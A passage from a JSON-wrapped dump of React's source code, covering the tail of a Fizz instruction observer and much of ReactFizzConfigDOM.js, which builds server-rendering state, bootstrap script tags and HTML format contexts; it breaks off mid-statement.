installFizzInstrObserver(target: Node) {\n  const handleMutations = (mutations: Array<MutationRecord>) => {\n    for (let i = 0; i < mutations.length; i++) {\n      const addedNodes = mutations[i].addedNodes;\n      for (let j = 0; j < addedNodes.length; j++) {\n        if (addedNodes[j].parentNode) {\n          handleNode(addedNodes[j]);\n        }\n      }\n    }\n  };\n\n  const fizzInstrObserver = new MutationObserver(handleMutations);\n  // We assume that instruction data nodes are eventually appended to the\n  // body, even if Fizz is streaming to a shell / subtree.\n  fizzInstrObserver.observe(target, {\n    childList: true,\n  });\n  window.addEventListener('DOMContentLoaded', () => {\n    handleMutations(fizzInstrObserver.takeRecords());\n    fizzInstrObserver.disconnect();\n  });\n}\n\nfunction handleNode(node_: Node) {\n  // $FlowFixMe[incompatible-cast]\n  if (node_.nodeType !== 1 || !(node_: HTMLElement).dataset) {\n    return;\n  }\n  // $FlowFixMe[incompatible-cast]\n  const node = (node_: HTMLElement);\n  const dataset = node.dataset;\n  if (dataset['rxi'] != null) {\n    window['$RX'](\n      dataset['bid'],\n      dataset['dgst'],\n      dataset['msg'],\n      dataset['stck'],\n      dataset['cstck'],\n    );\n    node.remove();\n  } else if (dataset['rri'] != null) {\n    // Convert styles here, since its type is Array<Array<string>>\n    window['$RR'](dataset['bid'], dataset['sid'], JSON.parse(dataset['sty']));\n    node.remove();\n  } else if (dataset['rci'] != null) {\n    window['$RC'](dataset['bid'], dataset['sid']);\n    node.remove();\n  } else if (dataset['rsi'] != null) {\n    window['$RS'](dataset['sid'], dataset['pid']);\n    node.remove();\n  }\n}\n"
  },
  {
    "path": "packages/react-dom-bindings/src/server/ReactFizzConfigDOM.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {\n  ReactNodeList,\n  ReactCustomFormAction,\n  Thenable,\n} from 'shared/ReactTypes';\nimport type {\n  CrossOriginEnum,\n  PreloadImplOptions,\n  PreloadModuleImplOptions,\n  PreinitStyleOptions,\n  PreinitScriptOptions,\n  PreinitModuleScriptOptions,\n  ImportMap,\n} from 'react-dom/src/shared/ReactDOMTypes';\n\nimport {\n  checkHtmlStringCoercion,\n  checkCSSPropertyStringCoercion,\n  checkAttributeStringCoercion,\n  checkOptionStringCoercion,\n} from 'shared/CheckStringCoercion';\n\nimport {Children} from 'react';\n\nimport {\n  enableFizzExternalRuntime,\n  enableSrcObject,\n  enableFizzBlockingRender,\n  enableViewTransition,\n} from 'shared/ReactFeatureFlags';\n\nimport type {\n  Destination,\n  Chunk,\n  PrecomputedChunk,\n} from 'react-server/src/ReactServerStreamConfig';\n\nimport type {FormStatus} from '../shared/ReactDOMFormActions';\n\nimport {\n  writeChunk,\n  writeChunkAndReturn,\n  stringToChunk,\n  stringToPrecomputedChunk,\n  readAsDataURL,\n} from 'react-server/src/ReactServerStreamConfig';\nimport {\n  resolveRequest,\n  getResumableState,\n  getRenderState,\n  flushResources,\n} from 'react-server/src/ReactFizzServer';\n\nimport isAttributeNameSafe from '../shared/isAttributeNameSafe';\nimport isUnitlessNumber from '../shared/isUnitlessNumber';\nimport getAttributeAlias from '../shared/getAttributeAlias';\n\nimport {checkControlledValueProps} from '../shared/ReactControlledValuePropTypes';\nimport {validateProperties as validateARIAProperties} from '../shared/ReactDOMInvalidARIAHook';\nimport {validateProperties as validateInputProperties} from '../shared/ReactDOMNullInputValuePropHook';\nimport {validateProperties as validateUnknownProperties} from '../shared/ReactDOMUnknownPropertyHook';\nimport warnValidStyle from '../shared/warnValidStyle';\nimport {getCrossOriginString} from '../shared/crossOriginStrings';\n\nimport escapeTextForBrowser from './escapeTextForBrowser';\nimport hyphenateStyleName from '../shared/hyphenateStyleName';\nimport hasOwnProperty from 'shared/hasOwnProperty';\nimport sanitizeURL from '../shared/sanitizeURL';\nimport isArray from 'shared/isArray';\n\nimport {\n  clientRenderBoundary as clientRenderFunction,\n  completeBoundary as completeBoundaryFunction,\n  completeBoundaryUpgradeToViewTransitions as upgradeToViewTransitionsInstruction,\n  completeBoundaryWithStyles as styleInsertionFunction,\n  completeSegment as completeSegmentFunction,\n  formReplaying as formReplayingRuntime,\n  markShellTime,\n} from './fizz-instruction-set/ReactDOMFizzInstructionSetInlineCodeStrings';\n\nimport {getValueDescriptorExpectingObjectForWarning} from '../shared/ReactDOMResourceValidation';\n\nimport {NotPending} from '../shared/ReactDOMFormActions';\n\nimport ReactDOMSharedInternals from 'shared/ReactDOMSharedInternals';\n\nconst previousDispatcher =\n  ReactDOMSharedInternals.d; /* ReactDOMCurrentDispatcher */\nReactDOMSharedInternals.d /* ReactDOMCurrentDispatcher */ = {\n  f /* flushSyncWork */: previousDispatcher.f /* flushSyncWork */,\n  r /* requestFormReset */: previousDispatcher.r /* requestFormReset */,\n  D /* prefetchDNS */: prefetchDNS,\n  C /* preconnect */: preconnect,\n  L /* preload */: preload,\n  m /* preloadModule */: preloadModule,\n  X /* preinitScript */: preinitScript,\n  S /* preinitStyle */: preinitStyle,\n  M /* preinitModuleScript */: preinitModuleScript,\n};\n\n// We make every property of the descriptor optional because it is not a contract that\n// the headers provided by onHeaders has any particular header types.\nexport type HeadersDescriptor = {\n  Link?: string,\n};\n\n// Used to distinguish these contexts from ones used in other renderers.\n// E.g. this can be used to distinguish legacy renderers from this modern one.\nexport const isPrimaryRenderer = true;\n\nexport const supportsClientAPIs = true;\n\nexport type StreamingFormat = 0 | 1;\nconst ScriptStreamingFormat: StreamingFormat = 0;\nconst DataStreamingFormat: StreamingFormat = 1;\n\nexport type InstructionState = number;\nconst NothingSent /*                      */ = 0b000000000;\nconst SentCompleteSegmentFunction /*      */ = 0b000000001;\nconst SentCompleteBoundaryFunction /*     */ = 0b000000010;\nconst SentClientRenderFunction /*         */ = 0b000000100;\nconst SentStyleInsertionFunction /*       */ = 0b000001000;\nconst SentFormReplayingRuntime /*         */ = 0b000010000;\nconst SentCompletedShellId /*             */ = 0b000100000;\nconst SentMarkShellTime /*                */ = 0b001000000;\nconst NeedUpgradeToViewTransitions /*     */ = 0b010000000;\nconst SentUpgradeToViewTransitions /*     */ = 0b100000000;\n\ntype NonceOption =\n  | string\n  | {\n      script?: string,\n      style?: string,\n    };\n\n// Per request, global state that is not contextual to the rendering subtree.\n// This cannot be resumed and therefore should only contain things that are\n// temporary working state or are never used in the prerender pass.\nexport type RenderState = {\n  // These can be recreated from resumable state.\n  placeholderPrefix: PrecomputedChunk,\n  segmentPrefix: PrecomputedChunk,\n  boundaryPrefix: PrecomputedChunk,\n\n  // inline script streaming format, unused if using external runtime / data\n  startInlineScript: PrecomputedChunk,\n\n  startInlineStyle: PrecomputedChunk,\n\n  // the preamble must always flush before resuming, so all these chunks must\n  // be null or empty when resuming.\n\n  // preamble chunks\n  preamble: PreambleState,\n\n  // external runtime script chunks\n  externalRuntimeScript: null | ExternalRuntimeScript,\n  bootstrapChunks: Array<Chunk | PrecomputedChunk>,\n  importMapChunks: Array<Chunk | PrecomputedChunk>,\n\n  // Hoistable chunks\n  charsetChunks: Array<Chunk | PrecomputedChunk>,\n  viewportChunks: Array<Chunk | PrecomputedChunk>,\n  hoistableChunks: Array<Chunk | PrecomputedChunk>,\n\n  // Headers queues for Resources that can flush early\n  onHeaders: void | ((headers: HeadersDescriptor) => void),\n  headers: null | {\n    preconnects: string,\n    fontPreloads: string,\n    highImagePreloads: string,\n    remainingCapacity: number,\n  },\n  resets: {\n    // corresponds to ResumableState.unknownResources[\"font\"]\n    font: {\n      [href: string]: Preloaded,\n    },\n    // the rest correspond to ResumableState[<...>Resources]\n    dns: {[key: string]: Exists},\n    connect: {\n      default: {[key: string]: Exists},\n      anonymous: {[key: string]: Exists},\n      credentials: {[key: string]: Exists},\n    },\n    image: {\n      [key: string]: Preloaded,\n    },\n    style: {\n      [key: string]: Exists | Preloaded | PreloadedWithCredentials,\n    },\n  },\n\n  // Flushing queues for Resource dependencies\n  preconnects: Set<Resource>,\n  fontPreloads: Set<Resource>,\n  highImagePreloads: Set<Resource>,\n  // usedImagePreloads: Set<PreloadResource>,\n  styles: Map<string, StyleQueue>,\n  bootstrapScripts: Set<Resource>,\n  scripts: Set<Resource>,\n  bulkPreloads: Set<Resource>,\n\n  // Temporarily keeps track of key to preload resources before shell flushes.\n  preloads: {\n    images: Map<string, Resource>,\n    stylesheets: Map<string, Resource>,\n    scripts: Map<string, Resource>,\n    moduleScripts: Map<string, Resource>,\n  },\n\n  nonce: {\n    script: string | void,\n    style: string | void,\n  },\n\n  // Module-global-like reference for flushing/hoisting state of style resources\n  // We need to track whether the current request has flushed any style resources\n  // without sending an instruction to hoist them. we do that here\n  stylesToHoist: boolean,\n\n  // We allow the legacy renderer to extend this object.\n\n  ...\n};\n\ntype Exists = null;\ntype Preloaded = [];\n// Credentials here are things that affect whether a browser will make a request\n// as well as things that affect which connection the browser will use for that request.\n// We want these to be aligned across preloads and resources because otherwise the preload\n// will be wasted.\n// We investigated whether referrerPolicy should be included here but from experimentation\n// it seems that browsers do not treat this as part of the http cache key and does not affect\n// which connection is used.\ntype PreloadedWithCredentials = [\n  /* crossOrigin */ ?CrossOriginEnum,\n  /* integrity */ ?string,\n];\n\nconst EXISTS: Exists = null;\n// This constant is to mark preloads that have no unique credentials\n// to convey. It should never be checked by identity and we should not\n// assume Preload values in ResumableState equal this value because they\n// will have come from some parsed input.\nconst PRELOAD_NO_CREDS: Preloaded = [];\nif (__DEV__) {\n  Object.freeze(PRELOAD_NO_CREDS);\n}\n\n// Per response, global state that is not contextual to the rendering subtree.\n// This is resumable and therefore should be serializable.\nexport type ResumableState = {\n  idPrefix: string,\n  nextFormID: number,\n  streamingFormat: StreamingFormat,\n\n  // We carry the bootstrap intializers in resumable state in case we postpone in the shell\n  // of a prerender. On resume we will reinitialize the bootstrap scripts if necessary.\n  // If we end up flushing the bootstrap scripts we void these on the resumable state\n  bootstrapScriptContent?: string | void,\n  bootstrapScripts?: $ReadOnlyArray<string | BootstrapScriptDescriptor> | void,\n  bootstrapModules?: $ReadOnlyArray<string | BootstrapScriptDescriptor> | void,\n\n  // state for script streaming format, unused if using external runtime / data\n  instructions: InstructionState,\n\n  // postamble state\n  hasBody: boolean,\n  hasHtml: boolean,\n\n  // Resources - Request local cache\n  unknownResources: {\n    [asType: string]: {\n      [href: string]: Preloaded,\n    },\n  },\n  dnsResources: {[key: string]: Exists},\n  connectResources: {\n    default: {[key: string]: Exists},\n    anonymous: {[key: string]: Exists},\n    credentials: {[key: string]: Exists},\n  },\n  imageResources: {\n    [key: string]: Preloaded,\n  },\n  styleResources: {\n    [key: string]: Exists | Preloaded | PreloadedWithCredentials,\n  },\n  scriptResources: {\n    [key: string]: Exists | Preloaded | PreloadedWithCredentials,\n  },\n  moduleUnknownResources: {\n    [asType: string]: {\n      [href: string]: Preloaded,\n    },\n  },\n  moduleScriptResources: {\n    [key: string]: Exists | Preloaded | PreloadedWithCredentials,\n  },\n};\n\nlet currentlyFlushingRenderState: RenderState | null = null;\n\nconst dataElementQuotedEnd = stringToPrecomputedChunk('\"></template>');\n\nconst startInlineScript = stringToPrecomputedChunk('<script');\nconst endInlineScript = stringToPrecomputedChunk('</script>');\n\nconst startScriptSrc = stringToPrecomputedChunk('<script src=\"');\nconst startModuleSrc = stringToPrecomputedChunk('<script type=\"module\" src=\"');\nconst scriptNonce = stringToPrecomputedChunk(' nonce=\"');\nconst scriptIntegirty = stringToPrecomputedChunk(' integrity=\"');\nconst scriptCrossOrigin = stringToPrecomputedChunk(' crossorigin=\"');\nconst endAsyncScript = stringToPrecomputedChunk(' async=\"\"></script>');\n\nconst startInlineStyle = stringToPrecomputedChunk('<style');\n\n/**\n * This escaping function is designed to work with with inline scripts where the entire\n * contents are escaped. Because we know we are escaping the entire script we can avoid for instance\n * escaping html comment string sequences that are valid javascript as well because\n * if there are no sebsequent <script sequences the html parser will never enter\n * script data double escaped state (see: https://www.w3.org/TR/html53/syntax.html#script-data-double-escaped-state)\n *\n * While untrusted script content should be made safe before using this api it will\n * ensure that the script cannot be early terminated or never terminated state\n */\nfunction escapeEntireInlineScriptContent(scriptText: string) {\n  if (__DEV__) {\n    checkHtmlStringCoercion(scriptText);\n  }\n  return ('' + scriptText).replace(scriptRegex, scriptReplacer);\n}\nconst scriptRegex = /(<\\/|<)(s)(cript)/gi;\nconst scriptReplacer = (\n  match: string,\n  prefix: string,\n  s: string,\n  suffix: string,\n) => `${prefix}${s === 's' ? '\\\\u0073' : '\\\\u0053'}${suffix}`;\n\nexport type BootstrapScriptDescriptor = {\n  src: string,\n  integrity?: string,\n  crossOrigin?: string,\n};\nexport type ExternalRuntimeScript = {\n  src: string,\n  chunks: Array<Chunk | PrecomputedChunk>,\n};\n\nconst importMapScriptStart = stringToPrecomputedChunk(\n  '<script type=\"importmap\">',\n);\nconst importMapScriptEnd = stringToPrecomputedChunk('</script>');\n\n// Since we store headers as strings we deal with their length in utf16 code units\n// rather than visual characters or the utf8 encoding that is used for most binary\n// serialization. Some common HTTP servers only allow for headers to be 4kB in length.\n// We choose a default length that is likely to be well under this already limited length however\n// pathological cases may still cause the utf-8 encoding of the headers to approach this limit.\n// It should also be noted that this maximum is a soft maximum. we have not reached the limit we will\n// allow one more header to be captured which means in practice if the limit is approached it will be exceeded\nconst DEFAULT_HEADERS_CAPACITY_IN_UTF16_CODE_UNITS = 2000;\n\nlet didWarnForNewBooleanPropsWithEmptyValue: {[string]: boolean};\nif (__DEV__) {\n  didWarnForNewBooleanPropsWithEmptyValue = {};\n}\n\n// Allows us to keep track of what we've already written so we can refer back to it.\n// if passed externalRuntimeConfig and the enableFizzExternalRuntime feature flag\n// is set, the server will send instructions via data attributes (instead of inline scripts)\nexport function createRenderState(\n  resumableState: ResumableState,\n  nonce:\n    | string\n    | {\n        script?: string,\n        style?: string,\n      }\n    | void,\n  externalRuntimeConfig: string | BootstrapScriptDescriptor | void,\n  importMap: ImportMap | void,\n  onHeaders: void | ((headers: HeadersDescriptor) => void),\n  maxHeadersLength: void | number,\n): RenderState {\n  const nonceScript = typeof nonce === 'string' ? nonce : nonce && nonce.script;\n  const inlineScriptWithNonce =\n    nonceScript === undefined\n      ? startInlineScript\n      : stringToPrecomputedChunk(\n          '<script nonce=\"' + escapeTextForBrowser(nonceScript) + '\"',\n        );\n  const nonceStyle =\n    typeof nonce === 'string' ? undefined : nonce && nonce.style;\n  const inlineStyleWithNonce =\n    nonceStyle === undefined\n      ? startInlineStyle\n      : stringToPrecomputedChunk(\n          '<style nonce=\"' + escapeTextForBrowser(nonceStyle) + '\"',\n        );\n  const idPrefix = resumableState.idPrefix;\n\n  const bootstrapChunks: Array<Chunk | PrecomputedChunk> = [];\n  let externalRuntimeScript: null | ExternalRuntimeScript = null;\n  const {bootstrapScriptContent, bootstrapScripts, bootstrapModules} =\n    resumableState;\n  if (bootstrapScriptContent !== undefined) {\n    bootstrapChunks.push(inlineScriptWithNonce);\n    pushCompletedShellIdAttribute(bootstrapChunks, resumableState);\n    bootstrapChunks.push(\n      endOfStartTag,\n      stringToChunk(escapeEntireInlineScriptContent(bootstrapScriptContent)),\n      endInlineScript,\n    );\n  }\n  if (enableFizzExternalRuntime) {\n    if (externalRuntimeConfig !== undefined) {\n      if (typeof externalRuntimeConfig === 'string') {\n        externalRuntimeScript = {\n          src: externalRuntimeConfig,\n          chunks: [],\n        };\n        pushScriptImpl(externalRuntimeScript.chunks, {\n          src: externalRuntimeConfig,\n          async: true,\n          integrity: undefined,\n          nonce: nonceScript,\n        });\n      } else {\n        externalRuntimeScript = {\n          src: externalRuntimeConfig.src,\n          chunks: [],\n        };\n        pushScriptImpl(externalRuntimeScript.chunks, {\n          src: externalRuntimeConfig.src,\n          async: true,\n          integrity: externalRuntimeConfig.integrity,\n          nonce: nonceScript,\n        });\n      }\n    }\n  }\n\n  const importMapChunks: Array<Chunk | PrecomputedChunk> = [];\n  if (importMap !== undefined) {\n    const map = importMap;\n    importMapChunks.push(importMapScriptStart);\n    importMapChunks.push(\n      stringToChunk(escapeEntireInlineScriptContent(JSON.stringify(map))),\n    );\n    importMapChunks.push(importMapScriptEnd);\n  }\n  if (__DEV__) {\n    if (onHeaders && typeof maxHeadersLength === 'number') {\n      if (maxHeadersLength <= 0) {\n        console.error(\n          'React expected a positive non-zero `maxHeadersLength` option but found %s instead. When using the `onHeaders` option you may supply an optional `maxHeadersLength` option as well however, when setting this value to zero or less no headers will be captured.',\n          maxHeadersLength === 0 ? 'zero' : maxHeadersLength,\n        );\n      }\n    }\n  }\n  const headers = onHeaders\n    ? {\n        preconnects: '',\n        fontPreloads: '',\n        highImagePreloads: '',\n        remainingCapacity:\n          // We seed the remainingCapacity with 2 extra bytes because when we decrement the capacity\n          // we always assume we are inserting an interstitial \", \" however the first header does not actually\n          // consume these two extra bytes.\n          2 +\n          (typeof maxHeadersLength === 'number'\n            ? maxHeadersLength\n            : DEFAULT_HEADERS_CAPACITY_IN_UTF16_CODE_UNITS),\n      }\n    : null;\n  const renderState: RenderState = {\n    placeholderPrefix: stringToPrecomputedChunk(idPrefix + 'P:'),\n    segmentPrefix: stringToPrecomputedChunk(idPrefix + 'S:'),\n    boundaryPrefix: stringToPrecomputedChunk(idPrefix + 'B:'),\n    startInlineScript: inlineScriptWithNonce,\n    startInlineStyle: inlineStyleWithNonce,\n    preamble: createPreambleState(),\n\n    externalRuntimeScript: externalRuntimeScript,\n    bootstrapChunks: bootstrapChunks,\n    importMapChunks,\n\n    onHeaders,\n    headers,\n    resets: {\n      font: {},\n      dns: {},\n      connect: {\n        default: {},\n        anonymous: {},\n        credentials: {},\n      },\n      image: {},\n      style: {},\n    },\n\n    charsetChunks: [],\n    viewportChunks: [],\n    hoistableChunks: [],\n\n    // cleared on flush\n    preconnects: new Set(),\n    fontPreloads: new Set(),\n    highImagePreloads: new Set(),\n    // usedImagePreloads: new Set(),\n    styles: new Map(),\n    bootstrapScripts: new Set(),\n    scripts: new Set(),\n    bulkPreloads: new Set(),\n\n    preloads: {\n      images: new Map(),\n      stylesheets: new Map(),\n      scripts: new Map(),\n      moduleScripts: new Map(),\n    },\n\n    nonce: {\n      script: nonceScript,\n      style: nonceStyle,\n    },\n    // like a module global for currently rendering boundary\n    hoistableState: null,\n    stylesToHoist: false,\n  };\n\n  if (bootstrapScripts !== undefined) {\n    for (let i = 0; i < bootstrapScripts.length; i++) {\n      const scriptConfig = bootstrapScripts[i];\n      let src, crossOrigin, integrity;\n      const props: PreloadAsProps = ({\n        rel: 'preload',\n        as: 'script',\n        fetchPriority: 'low',\n        nonce,\n      }: any);\n      if (typeof scriptConfig === 'string') {\n        props.href = src = scriptConfig;\n      } else {\n        props.href = src = scriptConfig.src;\n        props.integrity = integrity =\n          typeof scriptConfig.integrity === 'string'\n            ? scriptConfig.integrity\n            : undefined;\n        props.crossOrigin = crossOrigin =\n          typeof scriptConfig === 'string' || scriptConfig.crossOrigin == null\n            ? undefined\n            : scriptConfig.crossOrigin === 'use-credentials'\n              ? 'use-credentials'\n              : '';\n      }\n\n      preloadBootstrapScriptOrModule(resumableState, renderState, src, props);\n\n      bootstrapChunks.push(\n        startScriptSrc,\n        stringToChunk(escapeTextForBrowser(src)),\n        attributeEnd,\n      );\n      if (nonceScript) {\n        bootstrapChunks.push(\n          scriptNonce,\n          stringToChunk(escapeTextForBrowser(nonceScript)),\n          attributeEnd,\n        );\n      }\n      if (typeof integrity === 'string') {\n        bootstrapChunks.push(\n          scriptIntegirty,\n          stringToChunk(escapeTextForBrowser(integrity)),\n          attributeEnd,\n        );\n      }\n      if (typeof crossOrigin === 'string') {\n        bootstrapChunks.push(\n          scriptCrossOrigin,\n          stringToChunk(escapeTextForBrowser(crossOrigin)),\n          attributeEnd,\n        );\n      }\n      pushCompletedShellIdAttribute(bootstrapChunks, resumableState);\n      bootstrapChunks.push(endAsyncScript);\n    }\n  }\n  if (bootstrapModules !== undefined) {\n    for (let i = 0; i < bootstrapModules.length; i++) {\n      const scriptConfig = bootstrapModules[i];\n      let src, crossOrigin, integrity;\n      const props: PreloadModuleProps = ({\n        rel: 'modulepreload',\n        fetchPriority: 'low',\n        nonce: nonceScript,\n      }: any);\n      if (typeof scriptConfig === 'string') {\n        props.href = src = scriptConfig;\n      } else {\n        props.href = src = scriptConfig.src;\n        props.integrity = integrity =\n          typeof scriptConfig.integrity === 'string'\n            ? scriptConfig.integrity\n            : undefined;\n        props.crossOrigin = crossOrigin =\n          typeof scriptConfig === 'string' || scriptConfig.crossOrigin == null\n            ? undefined\n            : scriptConfig.crossOrigin === 'use-credentials'\n              ? 'use-credentials'\n              : '';\n      }\n\n      preloadBootstrapScriptOrModule(resumableState, renderState, src, props);\n\n      bootstrapChunks.push(\n        startModuleSrc,\n        stringToChunk(escapeTextForBrowser(src)),\n        attributeEnd,\n      );\n      if (nonceScript) {\n        bootstrapChunks.push(\n          scriptNonce,\n          stringToChunk(escapeTextForBrowser(nonceScript)),\n          attributeEnd,\n        );\n      }\n      if (typeof integrity === 'string') {\n        bootstrapChunks.push(\n          scriptIntegirty,\n          stringToChunk(escapeTextForBrowser(integrity)),\n          attributeEnd,\n        );\n      }\n      if (typeof crossOrigin === 'string') {\n        bootstrapChunks.push(\n          scriptCrossOrigin,\n          stringToChunk(escapeTextForBrowser(crossOrigin)),\n          attributeEnd,\n        );\n      }\n      pushCompletedShellIdAttribute(bootstrapChunks, resumableState);\n      bootstrapChunks.push(endAsyncScript);\n    }\n  }\n\n  return renderState;\n}\n\nexport function resumeRenderState(\n  resumableState: ResumableState,\n  nonce: NonceOption | void,\n): RenderState {\n  return createRenderState(\n    resumableState,\n    nonce,\n    undefined,\n    undefined,\n    undefined,\n    undefined,\n  );\n}\n\nexport function createResumableState(\n  identifierPrefix: string | void,\n  externalRuntimeConfig: string | BootstrapScriptDescriptor | void,\n  bootstrapScriptContent: string | void,\n  bootstrapScripts: $ReadOnlyArray<string | BootstrapScriptDescriptor> | void,\n  bootstrapModules: $ReadOnlyArray<string | BootstrapScriptDescriptor> | void,\n): ResumableState {\n  const idPrefix = identifierPrefix === undefined ? '' : identifierPrefix;\n\n  let streamingFormat = ScriptStreamingFormat;\n  if (enableFizzExternalRuntime) {\n    if (externalRuntimeConfig !== undefined) {\n      streamingFormat = DataStreamingFormat;\n    }\n  }\n  return {\n    idPrefix: idPrefix,\n    nextFormID: 0,\n    streamingFormat,\n    bootstrapScriptContent,\n    bootstrapScripts,\n    bootstrapModules,\n    instructions: NothingSent,\n    hasBody: false,\n    hasHtml: false,\n\n    // @TODO add bootstrap script to implicit preloads\n\n    // persistent\n    unknownResources: {},\n    dnsResources: {},\n    connectResources: {\n      default: {},\n      anonymous: {},\n      credentials: {},\n    },\n    imageResources: {},\n    styleResources: {},\n    scriptResources: {},\n    moduleUnknownResources: {},\n    moduleScriptResources: {},\n  };\n}\n\nexport function resetResumableState(\n  resumableState: ResumableState,\n  renderState: RenderState,\n): void {\n  // Resets the resumable state based on what didn't manage to fully flush in the render state.\n  // This currently assumes nothing was flushed.\n  resumableState.nextFormID = 0;\n  resumableState.hasBody = false;\n  resumableState.hasHtml = false;\n  resumableState.unknownResources = {\n    font: renderState.resets.font,\n  };\n  resumableState.dnsResources = renderState.resets.dns;\n  resumableState.connectResources = renderState.resets.connect;\n  resumableState.imageResources = renderState.resets.image;\n  resumableState.styleResources = renderState.resets.style;\n  resumableState.scriptResources = {};\n  resumableState.moduleUnknownResources = {};\n  resumableState.moduleScriptResources = {};\n  resumableState.instructions = NothingSent; // Nothing was flushed so no instructions could've flushed.\n}\n\nexport function completeResumableState(resumableState: ResumableState): void {\n  // This function is called when we have completed a prerender and there is a shell.\n  resumableState.bootstrapScriptContent = undefined;\n  resumableState.bootstrapScripts = undefined;\n  resumableState.bootstrapModules = undefined;\n}\n\nexport type PreambleState = {\n  htmlChunks: null | Array<Chunk | PrecomputedChunk>,\n  headChunks: null | Array<Chunk | PrecomputedChunk>,\n  bodyChunks: null | Array<Chunk | PrecomputedChunk>,\n};\nexport function createPreambleState(): PreambleState {\n  return {\n    htmlChunks: null,\n    headChunks: null,\n    bodyChunks: null,\n  };\n}\n\n// Constants for the insertion mode we're currently writing in. We don't encode all HTML5 insertion\n// modes. We only include the variants as they matter for the sake of our purposes.\n// We don't actually provide the namespace therefore we use constants instead of the string.\nexport const ROOT_HTML_MODE = 0; // Used for the root most element tag.\n// We have a less than HTML_HTML_MODE check elsewhere. If you add more cases here, make sure it\n// still makes sense\nconst HTML_HTML_MODE = 1; // Used for the <html> if it is at the top level.\nconst HTML_MODE = 2;\nconst HTML_HEAD_MODE = 3;\nconst SVG_MODE = 4;\nconst MATHML_MODE = 5;\nconst HTML_TABLE_MODE = 6;\nconst HTML_TABLE_BODY_MODE = 7;\nconst HTML_TABLE_ROW_MODE = 8;\nconst HTML_COLGROUP_MODE = 9;\n// We have a greater than HTML_TABLE_MODE check elsewhere. If you add more cases here, make sure it\n// still makes sense\n\ntype InsertionMode = 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9;\n\nconst NO_SCOPE = /*         */ 0b0000000;\nconst NOSCRIPT_SCOPE = /*   */ 0b0000001;\nconst PICTURE_SCOPE = /*    */ 0b0000010;\nconst FALLBACK_SCOPE = /*   */ 0b0000100;\nconst EXIT_SCOPE = /*       */ 0b0001000; // A direct Instance below a Suspense fallback is the only thing that can \"exit\"\nconst ENTER_SCOPE = /*      */ 0b0010000; // A direct Instance below Suspense content is the only thing that can \"enter\"\nconst UPDATE_SCOPE = /*     */ 0b0100000; // Inside a scope that applies \"update\" ViewTransitions if anything mutates here.\nconst APPEARING_SCOPE = /*  */ 0b1000000; // Below Suspense content subtree which might appear in an \"enter\" animation or \"shared\" animation.\n\n// Everything not listed here are tracked for the whole subtree as opposed to just\n// until the next Instance.\nconst SUBTREE_SCOPE = ~(ENTER_SCOPE | EXIT_SCOPE);\n\ntype ViewTransitionContext = {\n  update: 'none' | 'auto' | string,\n  enter: 'none' | 'auto' | string,\n  exit: 'none' | 'auto' | string,\n  share: 'none' | 'auto' | string,\n  name: 'auto' | string,\n  autoName: string, // a name that can be used if an explicit one is not defined.\n  nameIdx: number, // keeps track of how many duplicates of this name we've emitted.\n};\n\n// Lets us keep track of contextual state and pick it back up after suspending.\nexport type FormatContext = {\n  insertionMode: InsertionMode, // root/svg/html/mathml/table\n  selectedValue: null | string | Array<string>, // the selected value(s) inside a <select>, or null outside <select>\n  tagScope: number,\n  viewTransition: null | ViewTransitionContext, // tracks if we're inside a ViewTransition outside the first DOM node\n};\n\nfunction createFormatContext(\n  insertionMode: InsertionMode,\n  selectedValue: null | string | Array<string>,\n  tagScope: number,\n  viewTransition: null | ViewTransitionContext,\n): FormatContext {\n  return {\n    insertionMode,\n    selectedValue,\n    tagScope,\n    viewTransition,\n  };\n}\n\nexport function canHavePreamble(formatContext: FormatContext): boolean {\n  return formatContext.insertionMode < HTML_MODE;\n}\n\nexport function createRootFormatContext(namespaceURI?: string): FormatContext {\n  const insertionMode =\n    namespaceURI === 'http://www.w3.org/2000/svg'\n      ? SVG_MODE\n      : namespaceURI === 'http://www.w3.org/1998/Math/MathML'\n        ? MATHML_MODE\n        : ROOT_HTML_MODE;\n  return createFormatContext(insertionMode, null, NO_SCOPE, null);\n}\n\nexport function getChildFormatContext(\n  parentContext: FormatContext,\n  type: string,\n  props: Object,\n): FormatContext {\n  const subtreeScope = parentContext.tagScope & SUBTREE_SCOPE;\n  switch (type) {\n    case 'noscript':\n      return createFormatContext(\n        HTML_MODE,\n        null,\n        subtreeScope | NOSCRIPT_SCOPE,\n        null,\n      );\n    case 'select':\n      return createFormatContext(\n        HTML_MODE,\n        props.value != null ? props.value : props.defaultValue,\n        subtreeScope,\n        null,\n      );\n    case 'svg':\n      return createFormatContext(SVG_MODE, null, subtreeScope, null);\n    case 'picture':\n      return createFormatContext(\n        HTML_MODE,\n        null,\n        subtreeScope | PICTURE_SCOPE,\n        null,\n      );\n    case 'math':\n      return createFormatContext(MATHML_MODE, null, subtreeScope, null);\n    case 'foreignObject':\n      return createFormatContext(HTML_MODE, null, subtreeScope, null);\n    // Table parents are special in that their children can only be created at all if they're\n    // wrapped in a table parent. So we need to encode that we're entering this mode.\n    case 'table':\n      return createFormatContext(HTML_TABLE_MODE, null, subtreeScope, null);\n    case 'thead':\n    case 'tbody':\n    case 'tfoot':\n      return createFormatContext(\n        HTML_TABLE_BODY_MODE,\n        null,\n        subtreeScope,\n        null,\n      );\n    case 'colgroup':\n      return createFormatContext(HTML_COLGROUP_MODE, null, subtreeScope, null);\n    case 'tr':\n      return createFormatContext(HTML_TABLE_ROW_MODE, null, subtreeScope, null);\n    case 'head':\n      if (parentContext.insertionMode < HTML_MODE) {\n        // We are either at the root or inside the <html> tag and can enter\n        // the <head> scope\n        return createFormatContext(HTML_HEAD_MODE, null, subtreeScope, null);\n      }\n      break;\n    case 'html':\n      if (parentContext.insertionMode === ROOT_HTML_MODE) {\n        return createFormatContext(HTML_HTML_MODE, null, subtreeScope, null);\n      }\n      break;\n  }\n  if (parentContext.insertionMode >= HTML_TABLE_MODE) {\n    // Whatever tag this was, it wasn't a table parent or other special parent, so we must have\n    // entered plain HTML again.\n    return createFormatContext(HTML_MODE, null, subtreeScope, null);\n  }\n  if (parentContext.insertionMode < HTML_MODE) {\n    return createFormatContext(HTML_MODE, null, subtreeScope, null);\n  }\n  if (enableViewTransition) {\n    if (parentContext.viewTransition !== null) {\n      // If we're inside a view transition, regardless what element we were in, it consumes\n      // the view transition context.\n      return createFormatContext(\n        parentContext.insertionMode,\n        parentContext.selectedValue,\n        subtreeScope,\n        null,\n      );\n    }\n  }\n  if 